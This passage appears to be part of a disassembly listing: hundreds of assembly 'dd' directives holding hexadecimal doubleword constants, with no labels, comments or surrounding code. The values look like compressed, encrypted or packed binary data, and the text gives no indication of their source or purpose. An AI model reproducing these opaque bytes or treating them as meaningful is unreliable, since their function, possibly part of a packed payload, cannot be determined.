		dd 40261C25h, 508510h, 0C3240CADh, 67095238h, 5EB4C73h
		dd 701EA33Ah, 40EC330Fh, 0A4395ACCh, 0FC08D0D8h, 0EB040BB9h
		dd 0C817C10Dh, 48F1D110h, 0C90097C4h, 433ECD65h, 7EB9ACCh
		dd 8F6421D3h, 6C80D82Ch
		dd 93703752h, 0BE3F22FCh, 1646030Ch, 0C6D4382Bh, 5902CB69h
		dd 19D0471Bh, 3E56A049h, 0E34A03A4h, 4F1A8AC0h,	0E615D2B8h
		dd 0A54938C0h, 923435B3h, 7E4B0398h, 0D35AC386h, 6BB71798h
		dd 40C169C1h, 48804CDCh, 472308FDh, 220319EDh, 0F9317324h
		dd 0A330A3F6h, 23A28094h, 0B49701A3h, 465B76D1h, 8CA9BFE2h
		dd 8C6DA80h, 93323CDDh,	0CBC9D806h, 48CDC1CAh, 98B8512Fh
		dd 0E5359300h, 0C01B8071h, 4148F800h, 0BC5BB4EEh, 10750094h
		dd 0B2C5E53Fh, 933B2CCCh, 1A440E61h, 0C2E91883h, 0EB210A27h
		dd 68C7EB7h, 0E98CB63Eh, 90CFA114h, 0C4FD0693h,	1D89C866h
		dd 82420978h, 0D8485BCAh, 7A799C48h, 71282F62h,	703A0046h
		dd 0A6507FC5h, 88A35B60h, 0EC2DD5D0h, 864838C0h, 190C1A75h
		dd 30497713h, 3AE116C6h, 2E04FE17h, 90AFCC1Bh, 66C9AD0h
		dd 8D04A376h, 6D0E9FCDh, 35BF0481h, 1FB42180h, 69475BA3h
		dd 2EA194E9h, 3CB040A8h, 24C1ACA1h, 0F82C4AF8h,	0CE00735Dh
		dd 0B2B45AA1h, 3D2A12BFh, 0A83850A2h, 6E0F10A6h, 0E0E1F4h
		dd 660BC9C8h, 443892A5h, 0FC05C5BFh, 80E6A3CFh,	21DFB828h
		dd 0AC118DAAh, 2620FB3Ch, 23913F0Bh, 86B300E7h,	70B708F1h
		dd 83611DA1h, 26E144E2h, 920837Ah, 98C102E4h, 0C7A484BEh
		dd 6D0440Ch, 2FD95400h,	0C8BB0EE1h, 0FC7E7897h,	0BEB73042h
		dd 0C2231DC8h, 32FDCC03h, 0B0923095h, 92CA4943h, 0A4852050h
		dd 0C6B36B09h, 8B882588h, 0C788B81Ch, 2A1B91FAh, 7A288450h
		dd 0FD3D8EF6h, 40D04922h, 0A31D40D8h, 0A10A8C9Ah, 7B518C85h
		dd 8A530C10h, 0C23C341h, 31F8C118h, 8D48642h, 46651218h
		dd 3AC63071h, 0A88A9A2h, 0A40BEB50h, 11CE104Ch,	0C0641D3Fh
		dd 324606F0h, 79FD7929h, 50C03E8Bh, 0AB5D4000h,	0F6D1E89Ah
		dd 40CDEF32h, 85B2201Ah, 950C7740h, 19D8F0C0h, 29BFFFF6h
		dd 141D3B42h, 123C48EAh, 880FD335h, 0E5815CCh, 98163417h
		dd 86A55E90h, 8650BF00h, 2E44C49Eh, 16400BB3h, 0C880AFC8h
		dd 0EC5C9578h, 3F9E8800h, 0C4B2925Dh, 0D5B43D48h, 3EB819A4h
		dd 0D4FF0701h, 0F1C683F4h, 4994501Fh, 411EF6ECh, 220F74Dh
		dd 0C431E284h, 0E046DA7Fh, 6AC67B40h, 3343961h,	0E501DA7Eh
		dd 0A1703900h, 0A33EE1E2h, 0F41D07C8h, 102FF82Ch, 0D1E79AE0h
		dd 383C2124h, 27BB2209h, 0FCA772B0h, 8C225585h,	0FD9060E6h
		dd 0B4CA3034h, 2E902C81h, 0C1C0E50Fh, 400310CDh, 0C646753Eh
		dd 0DFEB7FC1h, 85D47800h, 0C5041FECh, 0C8FB4866h, 648084CFh
		dd 0B45DB5AFh, 0F0000DF0h, 0AD3FDCE1h, 5014B2BDh, 9A5FC8C8h
		dd 3CD30750h, 67CFD74Ah, 834DE2E2h, 40AB4CC8h, 0E714EC02h
		dd 0A05CD2C0h, 4E75AA88h, 4A7000C8h, 0E12571FDh, 0F5008EE4h
		dd 0FC742F22h, 2A736A81h, 39EC40EBh, 9D00C66Fh,	1C415AE7h
		dd 640417A9h, 8CCED2D1h, 0C99AB0C0h, 95313009h,	0CC3F4230h
		dd 0DCC32600h, 67FDC77Ah, 98767DDBh, 79DF07FCh,	80357E19h
		dd 1F414C98h, 40D62413h, 0BC875D03h, 0D306C0A8h, 1982C9Dh
		dd 4CC07A4h, 56FF4046h,	3805AEE7h, 0B565C566h, 32CB9C45h
		dd 5FD1D440h, 0FB5471h,	8EA5DD3Ah, 0EB238DF7h, 4F72DB05h
		dd 844058CFh, 4950FC80h, 90F83F11h, 1480AD3Dh, 528FB017h
		dd 890048D4h, 0D2438523h, 7A0C660h, 1C4E183h, 0B381B0BCh
		dd 702241Ah, 58296BB4h,	969890FAh, 0E4283A22h, 519DD280h
		dd 0E541E87Fh, 0DF6DF209h, 0F8B9884Ah, 4850D542h, 92CC017Ch
		dd 843E0F50h, 0BE8E8DDAh, 49DD7580h, 39071783h,	5066616Bh
		dd 79959A40h, 18D000EBh, 4CD5B7E1h, 91008320h, 0C3A878CAh
		dd 1E53664h, 2CA17EE7h,	9CCEE24Fh, 0AE407930h, 28322457h
		dd 38750381h, 2B62DC87h, 89E42000h, 0E1E89755h,	31D563D3h
		dd 711E5FBDh, 0CA80B491h, 0EF845248h, 0AA170080h, 555EB170h
		dd 0BB1FFC57h, 3640DB0Fh, 88245328h, 0DFAACh, 0AEBE6906h
		dd 0EA982A27h, 0E96640h, 0B2AB029Ah, 32F38FE6h,	0D36E2000h
		dd 6BD18E7Eh, 30EFF2F9h, 0E4807222h, 0E0062EC7h, 8045EA9Eh
		dd 0C430158h, 8A67704Bh, 5329801Ch, 6E473136h, 7B7FEB9h
		dd 2D329BDCh, 0DB8D61CEh, 0ECD880C6h, 3586F338h, 0EBB80083h
		dd 0DF433DCFh, 0A003FA24h, 0B38DE6FEh, 0FCF1C841h, 50ED0156h
		dd 0AB99223h, 50D1F122h, 81CD3690h, 1846D700h, 199768B4h
		dd 0F62E3EE6h, 82903800h, 51247255h, 4978990Eh,	0CDA93874h
		dd 0CC7A54FCh, 0E152005Bh, 27D49CC5h, 3A000591h, 22BC54DBh
		dd 0CF42C4h, 0F8846C77h, 0F35EDF8Fh, 766FA11Dh,	20C92C0Ch
		dd 183FCE1h, 0C8A438B7h, 0F0C65805h, 0DB40D506h, 5CD90457h
		dd 0C039337Bh, 4E168EFAh, 0B214FC00h, 1D4F4ACh,	0C628C144h
		dd 3061F862h, 0DD3B5B91h, 0DC321D3Eh, 0A1218E18h, 295F000Dh
		dd 21C909ECh, 970105AAh, 11BBEABEh, 6FFB76B2h, 7CA85880h
		dd 86605D60h, 0AEE321C8h, 7AA044B9h, 5B8000C2h,	6B4EA7Dh
		dd 6610DA8Dh, 7F02EDD2h, 0B0F50E73h, 39CF7082h,	47919497h
		dd 7BC39E8Fh, 499E4849h, 0E601AE00h, 30BB7015h,	16570080h
		dd 0DB9921B8h, 380C05B1h, 0A8F4E77Eh, 588100F8h, 85754C6Eh
		dd 0DFFC1588h, 0E91260F1h, 0CE91B30Eh, 21EAA12Dh, 4080C41Dh
		dd 576D3001h, 3F003722h, 0E27F6A72h, 38056CDh, 7EC976E1h
		dd 13C0F0D6h, 0D38798Bh, 0C8180099h, 38140C96h,	0FECB3CF9h
		dd 8E2B007Eh, 0F2224674h, 670ECFF4h, 60E0A620h,	0B65CC1DCh
		dd 0DF58003Dh, 663E3A50h, 0CA6069F5h, 9DAE0AECh, 870E0065h
		dd 9B7799D6h, 4001C898h, 0A28D24F9h, 60F82685h,	79187F44h
		dd 7AFA00D3h, 0A379903Fh, 0C20A2A69h, 0E46E80C9h, 58B76107h
		dd 19F0807h, 0CE2CF984h, 0BCD21880h, 0BFC1E54Dh, 20EB070Bh
		dd 1CCD038Bh, 0B7608858h, 0D2911FD9h, 2230B134h, 0A451A8F0h
		dd 0F1B0B30Eh, 0D28D80D1h, 17375859h, 0B04B271h, 3283A28Bh
		dd 3000CC22h, 0D12F68D9h, 17D4AB9h, 0C549CEBBh,	8031EB4Eh
		dd 0CFC78769h, 0B5CC46h, 6E041CA8h, 84C14D4Bh, 78D40F33h
		dd 0D9FD80B1h, 28AB3D1Bh, 961FAE80h, 9948D2B3h,	0BDB10500h
		dd 0A16879D3h, 0A2031930h, 18C088DAh, 25CF0DABh, 180DD4Bh
		dd 7D1344h, 0D1438Bh, 541F7C8Eh, 0C7561C85h, 1EDDC100h
		dd 8657B969h, 84C25422h, 0CF5C0105h, 0C752535Dh, 4032E1B4h
		dd 8B281A8Eh, 0D8C24900h, 84210897h, 919E004Fh,	0C01401E3h
		dd 110E8DBFh, 0D4D0270h, 4BF051DDh, 0DF4A0FB6h,	0BC00865Ah
		dd 8A06F4CBh, 0D438E460h, 678774h, 0CF31442Ch, 0B77EC5B6h
		dd 0C63F700Ah, 0CE00E025h, 147B95A6h, 9BD10A11h, 1EF0B2A9h
		dd 28A900Bh, 439253ABh,	23209CD0h, 0D50A6072h, 1B9A0C7h
		dd 19A596ECh, 6D30A745h, 0D8203043h, 34D3F9C1h,	3796558h
		dd 7E5B1B25h, 0C263A124h, 1AAB2080h, 0E9042333h, 0CAE1D800h
		dd 163AFA43h, 38C90445h, 836FD2D9h, 58F02620h, 0CD00673Bh
		dd 874BC66Eh, 2EF3C11h,	16EAD7C1h, 0C4812C8h, 0D002097h
		dd 0DE5E0354h, 749A3A84h, 0C0D6EAE4h, 0D4A5120h, 90E87F81h
		dd 0F024EC01h, 5B9C4D08h, 0C739987h, 0D77B50B2h, 0F4028596h
		dd 0EAD58632h, 25349019h, 1C7080Dh, 8164E4A6h, 0EB4BFA44h
		dd 224CB380h, 0EA922A70h, 0D1B8148Ch, 1878A085h, 19DA3980h
		dd 3703309Fh, 17ABEB87h, 9B49007Fh, 6D0BF03Eh, 0E9044ED5h
		dd 1F2AD936h, 2167AC88h, 7801CBE3h, 0C54A9CD1h,	15226826h
		dd 69B0882Eh, 0DBE55106h
		dd 50610080h, 0B49BA9B9h, 27004B1Dh, 8991F0BBh,	53D07F31h
		dd 0C321B8CEh, 26708421h, 1B0086D4h, 0ABFE3CDAh, 397A1Eh
		dd 2F81F134h, 0C119BAC9h, 0F12DF230h, 0A417EA05h, 0DD40C130h
		dd 52E5B601h, 54260B30h, 0DC910080h, 0A61B1276h, 90907E80h
		dd 34A95B00h, 0F1619A53h, 0D1C50F5Ah, 33E98202h, 1FBF34A1h
		dd 0EC4980EEh, 0F9CB5598h, 42A6C4D1h, 0B4008077h, 0F4905870h
		dd 0EF3EF44h, 475EB27Eh, 64CDAD00h, 6F00C13Fh, 0D367C76Ch
		dd 1E7D08B6h, 814412E7h, 8F3E5A77h, 0CAB842BAh,	2EAE6C40h
		dd 0BFC20B05h, 0C44EB91Ah, 0CE45FEDh, 8692B642h, 501115FDh
		dd 0D54FAh, 0B325A197h,	909AC72Fh, 7054F00h, 7D03EE3Dh
		dd 27B90330h, 44A2CBECh, 70B8D999h, 0FF26C522h,	77004028h
		dd 36ED7064h, 0FE37F029h, 4BB626DDh, 6989BD68h,	30001A64h
		dd 0F95377D0h, 6E34430Fh, 39ACB471h, 220F8F5Dh,	0E85CA0D1h
		dd 7284C2Ch, 0CCBDB31Bh, 6E9EF338h, 6DD400Fh, 0A0B4D4h
		dd 0D24CDB98h, 7764F5F0h, 0B35A18ECh, 22C1E121h, 17208B41h
		dd 51AF018Ch, 0B3D4CDC2h, 32F7D059h, 90910101h,	2F9AA19Dh
		dd 33AB27C8h, 2440B84Dh, 0C08862A0h, 9095BB00h,	595CA487h
		dd 0C2AC03D5h, 0D69C7029h, 1358611Eh, 41F17300h, 129FB0ECh
		dd 447433B2h, 46DD03D4h, 5CA8293Ch, 0A86083D1h,	97795281h
		dd 13CE9F00h, 0D7FBF39Ch, 0E2EE0157h, 0FF07BC5Eh, 0BEAC3450h
		dd 11E0F54Ch, 6D07FA86h, 57BFB05Bh, 9091C509h, 8B7102BCh
		dd 1DD49A58h, 248396DDh, 1C2C865Dh, 9E9179FEh, 0C820B287h
		dd 1D4660E0h, 8220D853h, 185C3B8Ah, 390B4CD8h, 8B4B01Bh
		dd 2D09F014h, 5E209194h, 0CF04DD18h, 7C2D4B27h,	85201432h
		dd 0C0D155h, 0EF0A1E43h, 69028659h, 2A392716h, 143CF43Bh
		dd 33640143h, 0C283B21Dh, 54671CE4h, 1AB85Ah, 0D3520619h
		dd 89C1402h, 57EAF301h,	295387C3h, 1982D830h, 80156301h
		dd 0E6308818h, 598266C8h, 5CC134AAh, 0D08E1188h, 724C33DCh
		dd 66DC003Dh, 47CBD71Dh, 193C8869h, 2C8BA640h, 0FE60F001h
		dd 5885CD7Bh, 9857C246h, 3404CF74h, 126E5269h, 0FF205732h
		dd 0EE3316h, 0B056D147h, 763A875Fh, 1E4A2E1Dh, 4A4C214h
		dd 6BEAEF2Ch, 0A696E100h, 3CB25AF4h, 0AE306EFAh, 163828D8h
		dd 0D2F55825h, 0A0F78500h, 6E881452h, 13E03700h, 0E5D4663Dh
		dd 8ED60002h, 6F264A50h, 0BC3CFFB0h, 8B240536h,	0F007E81Fh
		dd 7E608C6Dh, 1D67AD9Bh, 40E92831h, 3DE477AEh, 6E005912h
		dd 2371C9BAh, 0B95603h,	27185CF7h, 0F1B6831Eh, 0E71C6B03h
		dd 0C84EDA3Fh, 2988BDD8h, 7F04D686h, 1CEF50h, 0ECDDDA89h
		dd 0C67EC18Bh, 0C8208C67h, 0B13E38A1h, 0E5763180h, 1830AC2Bh
		dd 586F5E19h, 21805F09h, 0CF2BFA96h, 0BC0E60C4h, 634B4077h
		dd 0E8BBE614h, 30A05F55h, 0A87884F5h, 8A60EDD2h, 87BB5C38h
		dd 0DFE00F33h, 718082D8h, 0B6706BEFh, 0B7B2A9C0h, 30B44C7Ch
		dd 96B9CE43h, 380EFBC0h, 183C078Bh, 0D642A108h,	1EDA0161h
		dd 0C8BAAAADh, 5F48F7C8h, 553781B4h, 109D5AC3h,	0D19940CDh
		dd 2D4221DBh, 74CBC500h, 18DDE0ABh, 80A50EE5h, 0E780C84Eh
		dd 0C56C9652h, 0CEB9E960h, 97B72Ch, 0BFDC5D58h,	0ED114B8Fh
		dd 5C2ED610h, 0B61BBD00h, 24A4463Bh, 6B1EEF0Ah,	651824E5h
		dd 1A2791h, 0C392FC5Eh,	0DAA74D76h, 4CD9C100h, 0E0AF1229h
		dd 1B4A03C4h, 64FAA65Fh, 710B6CA0h, 947A1601h, 0FC2813D9h
		dd 41A1E040h, 0C580A8DBh, 0F2A9C0EAh, 9082E12Eh, 0C236AA00h
		dd 6ED0D1C1h, 0CF2D038Eh, 8A553D89h, 4D68B103h,	0D3ADD31Bh
		dd 4B07F134h, 9B6A088Ch, 0A3003920h, 0B0AF0F69h, 0A406B436h
		dd 8C3E52C8h, 7B25400h,	25F4EB3Ah, 6C5D9F00h, 6DF1B0A4h
		dd 0AC940055h, 0D6ECA92Bh, 0FF3AA1ABh, 8AD9DDFh, 72F7A683h
		dd 5335BF37h, 0F05ED840h, 0F9EA2Fh, 0F702F510h,	68B659CDh
		dd 0E3222600h, 38A0E86Fh, 0CCD81E40h, 38D71872h, 0E0003DA6h
		dd 0B85AE3F4h, 0A1540D6Ch, 0B193EEBCh, 0A0FD0313h, 5888F43Fh
		dd 7FE636D0h, 9CC6663Eh, 80BCA31Eh, 8AC3E9B8h, 3B3968FBh
		dd 41606FB2h, 2F018BFCh, 906BF612h, 79B45445h, 12CC401Fh
		dd 0B0AD1989h, 0F8635401h, 4DE418A6h, 0A311E141h, 0D5E9DF00h
		dd 882C0D7h, 0AAD9F383h, 8CE8A2DDh, 9117701Eh, 187C3940h
		dd 4115F62Bh, 85248386h, 43128093h, 0F2206C20h,	625C018Dh
		dd 6DE38377h, 50A3DC0Fh, 0E5327900h, 2E3684D3h,	719892FAh
		dd 9EC90067h, 4113D1C5h, 0F7302D51h, 8823A822h,	817B1F43h
		dd 3926C02Ah, 929EAC0Eh, 0D97C5D15h, 0AA1F0088h, 1D298CC1h
		dd 0BECD00CAh, 0ADCC810h, 7104D1D6h, 5C42FFD7h,	6480BD0Eh
		dd 17F99DF1h, 7B0AD900h, 36E537B5h, 2D8303FBh, 2AECDBF6h
		dd 6100DAE3h, 0E4333935h, 1DAB77B1h, 40702176h,	61982EA1h
		dd 0BAF022A0h, 0F026B8A9h, 91007216h, 32AB295Fh, 0E037243Fh
		dd 60EE0AE4h, 2C4DD6h, 315AB993h, 1307B1FCh, 470A2872h
		dd 0C1B9420h, 6D1900E2h, 63BB0509h, 0D8606F8Bh,	51D92039h
		dd 0A1A42E89h, 0CE50036Dh, 8A0087C5h, 0BD84A569h, 79D1B7B1h
		dd 0F9736065h, 2E13E580h, 0E0DD8E30h, 6425D21h,	6BF9CF76h
		dd 2B00C10Fh, 0D538CDD2h, 134F0639h, 215CF56Ch,	808C6FB4h
		dd 1EE7A729h, 0A224C3h,	3B39ED89h, 4EE9947Eh, 0E0A6800Fh
		dd 43C184CDh, 4F9F08Ch,	0B5DB176Ah, 205D3232h, 8B69FFC5h
		dd 0B4C99500h, 6B3BF371h, 0ACB04CA3h, 72C2D58Fh, 0BC406EE4h
		dd 0C05289CEh, 698E0230h, 319DADE6h, 94C6106Ah,	0FA7F0569h
		dd 883D66E2h, 60496F08h, 5F530168h, 0B8146B7Ah,	18B2FAE8h
		dd 29F92E3Bh, 4A00CE45h, 1F47416h, 78FA73h, 62CB4802h
		dd 0EF43F342h, 3A450E26h, 0A9DDC902h, 260C6D2h,	11492BE4h
		dd 64194C3Dh, 2BF9AD10h, 0A0663514h, 709424ADh,	28995618h
		dd 0B378001Ch, 0D76DC38Fh, 2405219Ah, 8E6FE848h, 4F3BC840h
		dd 7C93ECDEh, 0A425005Ah, 2BEDE521h, 2603FB94h,	6EA38947h
		dd 1D31003Dh, 0E36D5F1h, 9275ADE4h, 0BE60AC92h,	0AF8C1C21h
		dd 218B01E6h, 4EDEC46Fh, 0A2918365h, 0E0DC4693h, 8C49B6h
		dd 19DF41E5h, 772371B7h, 0BC534C2Ch, 62596400h,	0B0E4B9EAh
		dd 803C9968h, 0BC179922h, 0FC00032Ch, 0CC4ECBABh, 4F55CC0h
		dd 7A14AFCEh, 0FAC4801Bh, 4888E74Dh, 299000BAh,	59A8CEC8h
		dd 0AF4B8DEh, 8DD63D03h, 792D2A6h, 45513C61h, 58101971h
		dd 6B007D60h, 21114352h, 152AC338h, 30FF3694h, 0BA59C00h
		dd 0A07AEDAEh, 11A31B1Eh, 92D0BF00h, 98B59A8Eh,	6DAA0BA0h
		dd 9001065Fh, 30FD51DCh, 0D324D6D8h, 38013848h,	2E553698h
		dd 0CE4C24h, 3F4C0E52h,	58E5F38Dh, 0B4391901h, 8A578BD7h
		dd 7A17A1BCh, 58203389h, 44B8C2BCh, 9004044h, 87663FC3h
		dd 7E8FA5h, 5B235140h, 0F062FA53h, 70FDC112h, 3A4F0820h
		dd 416D3A2Dh, 47250D00h, 0E65CFED5h, 0C804025Ch, 1BCE8062h
		dd 0ED4558Bh, 0F1F99B00h, 7679899Eh, 29270032h,	0FAF2BD2Ch
		dd 55242E1Fh, 9F3C0454h, 807FE7CCh, 15653E6Eh, 3D300305h
		dd 0A32C1185h, 0A0700CA8h, 0E305BD91h, 0C73E6045h, 0BEEF1CC1h
		dd 811B4301h, 0AF26E2E1h, 6871C9E8h, 69EAC420h,	640EA18Eh
		dd 6DA80171h, 0F6D73611h, 0DAE00431h, 563A012Ch, 0AD2E38DBh
		dd 0C1288B8Dh, 6F7C11E5h, 307D032h, 50C5B767h, 0CFF1D39Ch
		dd 5AEFED07h, 79954C05h
		dd 0F8BDCC0h, 80889934h, 9474627Ah, 964C0AE5h, 0B60EC718h
		dd 0E1D39191h, 282779F4h, 6856D5h, 0D92B6005h, 0B1D35FC2h
		dd 87FC4E4Ch, 0E6D0BF03h, 0E470C97Ah, 4D193CF1h, 97EB8A00h
		dd 75A99EE8h, 6B8B6518h, 0B1D6C1h, 85CDBAA7h, 4C5956F0h
		dd 0E30CE90Fh, 59D28CB8h, 36380086h, 0BFF2514Eh, 531599FAh
		dd 59C87DEh, 0EB940905h, 0B4D8CC01h, 0C9826FECh, 0CEDDC898h
		dd 0B3FCCE0h, 0A003E7FEh, 9930E59Eh, 0E0ECD379h, 0F7A03DEh
		dd 0D58EFABAh, 80B4B0AAh, 3FDD9635h, 39C0805Fh,	2B266B94h
		dd 8B76055Dh, 120FB35h,	0A875B124h, 0A610300Ah,	0FC4A011Fh
		dd 430018A9h, 0FF03455h, 8941300Bh, 4B1D59C1h, 0A200E0E6h
		dd 39D25380h, 583A3E51h, 0F7010BBCh, 1D18EB66h,	352C20A2h
		dd 4B56FF00h, 889AD669h, 518701CEh, 9E063A90h, 94809804h
		dd 4065CBB8h, 183B67E9h, 55210959h, 4D3810DEh, 0E2271860h
		dd 6D881136h, 0BCAD33Ch, 87B4F0A5h, 0BC4868B8h,	29810818h
		dd 0C5483966h, 407118AAh, 3B5DC9h, 46B09FE0h, 0C7096588h
		dd 0CE789CBAh, 676970B2h, 8E28B090h, 8DC0A2Dh, 0E08B4Dh
		dd 0D946B262h, 80B0C2EAh, 88B0EC75h, 9E5FC807h,	70BCED52h
		dd 48127995h, 6F129471h, 0AC1082F8h, 0D001B066h, 6707C1F2h
		dd 8073E43Ch, 0BA773F00h, 0E1FA89C3h, 7B0E263Ch, 1EA62F3Ch
		dd 8AD413D7h, 0D0307FB4h, 0FBAA8649h, 0BC7230E3h, 844A2B18h
		dd 9870FC96h, 0A9480181h, 0CFA270E7h, 6A25D0EFh, 9E62710Fh
		dd 0AA138154h, 0E440C244h, 90FEAC6h, 7DB79736h,	2F5F1001h
		dd 6C308011h, 39EAD309h, 24513ABDh, 1461712h, 0C34858D0h
		dd 0ED8420F9h, 12BD28A8h, 8419D265h, 992DC00Ch,	445898CFh
		dd 0FA2B3534h, 0C00060B1h, 0D3641C36h, 0A850679Fh, 3F011842h
		dd 0BFFBB447h, 0E86A9053h, 2C4D6B5h, 583268B7h,	0CC481C78h
		dd 0BD0A933Eh, 7C7108ADh, 8B84DC15h, 5D0C119Eh,	60A678F4h
		dd 3610183Eh, 949266C6h, 0BD5CEF12h, 0AB1C0845h, 4428F0C1h
		dd 0FC5F4841h, 0AD3060Fh, 0E48523Ah, 73FBE545h,	49A13898h
		dd 3D9C4D12h, 0E339E70Fh, 1F6A698Ah, 0C65F6281h, 699E846Ch
		dd 55D3D000h, 0F01A5878h, 504A51B1h, 1C000431h,	0EEEA0DBh
		dd 2F3597E1h, 0ED039435h, 0BEE7207Dh, 2715A900h, 129BAE89h
		dd 8252549h, 0C7983C25h, 0B1BC73D8h, 7471FBC0h,	9533BB0Fh
		dd 0DA9003C4h, 0DD6430B4h, 56295B10h, 9309F61Fh, 6C07082Ch
		dd 69CC770Fh, 0CF1312E3h, 98304343h, 33A0A4E7h,	0A0E71D08h
		dd 0F609C0D9h, 90DBA317h, 176FCDF8h, 4BC6BBA6h,	5010C564h
		dd 0F70C5417h, 10043EFFh, 6711469h, 5138473h, 0AD8C0063h
		dd 4635EDDDh, 0E057A80Eh, 0EC60580Ah, 0DD740ACh, 8C9040AFh
		dd 0A0049510h, 93E815Ch, 0B8708C4h, 0BD962021h,	0D3D5214Fh
		dd 118C184Dh, 572A2E7Eh, 9410DD54h, 5E22BC4Ah, 0C8C53313h
		dd 9585006h, 495D0240h,	818B900Dh, 252EE4C1h, 74FC6080h
		dd 141032EFh, 100C43B4h, 0CB885E58h, 0BB0CD061h, 31A06B00h
		dd 2C1210B0h, 548C9D89h, 0C0AF04FFh, 329E9424h,	3AF620A5h
		dd 0F80B06AFh, 98646EC9h, 306350h, 0B41B52A0h, 0C418D994h
		dd 0F30B7000h, 0A74B38F5h, 0E100472h, 0B0E7FCEFh, 4243A628h
		dd 0E469047Ch, 0B2344DADh, 0AAC88058h, 0B9D69h,	0FB5E1AFh
		dd 76845749h, 8E711201h, 0DC37D987h, 1838D021h,	7026F420h
		dd 8989F84Ch, 0F80E63Ch, 0ADD26992h, 606433C8h,	0E9903A4Ch
		dd 0F8A3541Eh, 2C10DB82h, 9006807h, 0C88D60E3h,	0BC915CB9h
		dd 12C18D5h, 0CB8BA786h, 0BC64084Bh, 29DCFCDDh,	797CE953h
		dd 0EB186Ah, 72A63903h,	4AF95D9h, 10009E58h, 4311B202h
		dd 4F6D0024h, 4D8AC0F1h, 5D54038Eh, 0A4C26616h,	0D2F342D0h
		dd 0C4D7B602h, 4094AFEAh, 16ED14h, 22307BC7h, 0F3CD1389h
		dd 742FBA0Eh, 0DF07A024h, 318E4E6h, 431B4720h, 0CAF0E367h
		dd 55004E92h, 0DC29FDE8h, 3793A0Bh, 26155101h, 508041C6h
		dd 8607D769h, 3E806BCEh, 83B8D00h, 54A70337h, 0C2C9246Fh
		dd 3472E5E8h, 0CC25E900h, 0EF1274ABh, 3CEE85h, 0FE42A9F2h
		dd 7E2948C0h, 49409E00h, 41ADEDDEh, 4FC00F0h, 2B7BE3E1h
		dd 57768DC0h, 2E4E1001h, 0C9478E93h, 314EAC8h, 9AC7BF5Ah
		dd 0E2A03ED9h, 6A098DB1h, 8001FC39h, 0ED9954FFh, 48DA002Ch
		dd 1C1F04EAh, 8F1F9111h, 454036BFh, 2E4F2873h, 3FB3F04Eh
		dd 0E900CAD8h, 7F5B2377h, 0AD00C165h, 27ACE344h, 0C0226ED3h
		dd 159F2D18h, 630C83E5h, 60AB3043h, 0F7180082h,	2811225Eh
		dd 0A200D471h, 5C6B238h, 0C12ED258h, 7747B329h,	0BB788007h
		dd 90C106E3h, 0C89D607Fh, 665D17F9h, 2FF3E518h,	21BFF0h
		dd 4E85353Ah, 0F8782CF7h, 4ED0D07h, 0A4AAA9C0h,	7B35B680h
		dd 3744EEC3h, 0C3F04274h, 0BCA8F6F5h, 4E003897h, 0EF5BF029h
		dd 0D9AC74h, 0B01F4227h, 0A2D6519Eh, 904CD02h, 40AD77B2h
		dd 0FD147Bh, 9928C619h,	6B8E525Fh, 0B0E75C04h, 85003BFFh
		dd 0EC30DFA2h, 9D1D5E00h, 0FB14B134h, 0FE2E58F8h, 8C02AB06h
		dd 4C051033h, 417127AAh, 8B5C4B81h, 16EA34ECh, 1B107A5h
		dd 6780B79Ch, 5C0888C1h, 0FD4753Ch, 0D8A4977Ch,	0D7A5C880h
		dd 62000129h, 0F98639E6h, 0E8B0E7Fh, 0AA761ABEh, 77D128D8h
		dd 44E2E444h, 6D44113Ah, 603C444Eh, 22937920h, 0FF2238CEh
		dd 2FA21091h, 0E8E919DAh, 14418A51h, 0C6121DE0h, 36243C82h
		dd 1114942Eh, 0BA289609h, 39202228h, 1011F242h,	141E28BFh
		dd 29DEB090h, 3F113291h, 4F221EAh, 841A46Dh, 0B6F3805Ah
		dd 9DDC3CF5h, 8CB70500h, 941A770h, 64851EFDh, 0C71340C0h
		dd 0A5D28892h, 0B9E9F50Eh, 3F0209Dh, 0E179F7h, 310C1156h
		dd 32928634h, 0DA142E00h, 7C66474Dh, 370E004Ah,	0FD066581h
		dd 0CE03BF89h, 1FE27DC9h, 78F0A788h, 0FAFAD3Ah,	0EFFB28B1h
		dd 7A0B3EA0h, 5007FE6Bh, 0FD71950Dh, 89583FC0h,	0B3220745h
		dd 40771419h, 597FCEF4h, 0D996F000h, 0BD184417h, 589AF1h
		dd 484C99A5h, 76B8678h,	0CA3470C0h, 0CC28A6h, 0D013E552h
		dd 18809DB6h, 0C7439900h, 9B9214B8h, 8CBD00ABh,	41371CD6h
		dd 0DC038465h, 8D7AD3EFh, 9CA7C99Eh, 9AB62DCh, 3EED8E0h
		dd 0B0DD4420h, 0DE385B36h, 3D31000Ch, 0B955447Ch, 0F3E3FA94h
		dd 369EF0h, 97081D23h, 0C0069AF8h, 8F00267Ch, 0C1FB49DDh
		dd 7AB9A225h, 101A002Bh, 0C86D8430h, 0B700798Ah, 4A88EE96h
		dd 198FBD6h, 0D3C741D9h, 402258EFh, 0A942718Ah,	7B4E5D01h
		dd 301726E8h, 1DD5DFDCh, 4B09C1h, 0AF2E1898h, 3C0086B2h
		dd 1735BB41h, 0DC6EF8h,	0A5A46A91h, 0FC898C21h,	5A5C1FF8h
		dd 1E0077EBh, 0BCFA686Dh, 7302F34h, 0C6DEFF53h,	0F81DA3ACh
		dd 60221CB1h, 5E006C44h, 0A9FDB61Bh, 43EAB1h, 0ED4915AEh
		dd 0A8A15A9Fh, 80D1E13Ch, 0A38CE96Dh, 0DDA5B1h,	57667650h
		dd 6B3BEA85h, 63D5DC00h, 6FD40CF8h, 2C9043h, 3570D8C1h
		dd 0C8660BCEh, 0E000E3F2h, 2D902657h, 38C90D61h, 0D20193B4h
		dd 64AD9973h, 0DB042091h, 8FAABA39h, 0EE5DF9DCh, 0C008201Fh
		dd 270A69h, 6D643729h, 95A6CACh, 3F8ED600h, 416876A6h
		dd 6738058Bh, 2F83ACCh,	6B6056F8h, 36DFE500h, 0B1EC038Eh
		dd 0B931B8A7h, 0EFDB93A9h, 0B92EF90h, 89FE3B00h, 31235F6Dh
		dd 7BD5006Ah, 86AF677Ch, 0B2008B17h, 98B02826h,	3B7341h
		dd 0D03C14E1h, 0CDC63F8Fh
		dd 3005AE0h, 36AD6059h,	0FCA2C3h, 85E1AA99h, 78BB763h
		dd 653A170Fh, 3344C0A5h, 0F0A75068h, 6CF046h, 9081CA1Ah
		dd 77CBDB20h, 2DE69A7Ch, 39644B00h, 6ABBA157h, 0AC7D45h
		dd 0B5F554BAh, 3D2682F7h, 7D203800h, 0A84B44DEh, 0F0C20033h
		dd 0D7467CCFh, 5D0E8F1Fh, 7A02D11h, 45904156h, 0F823B2h
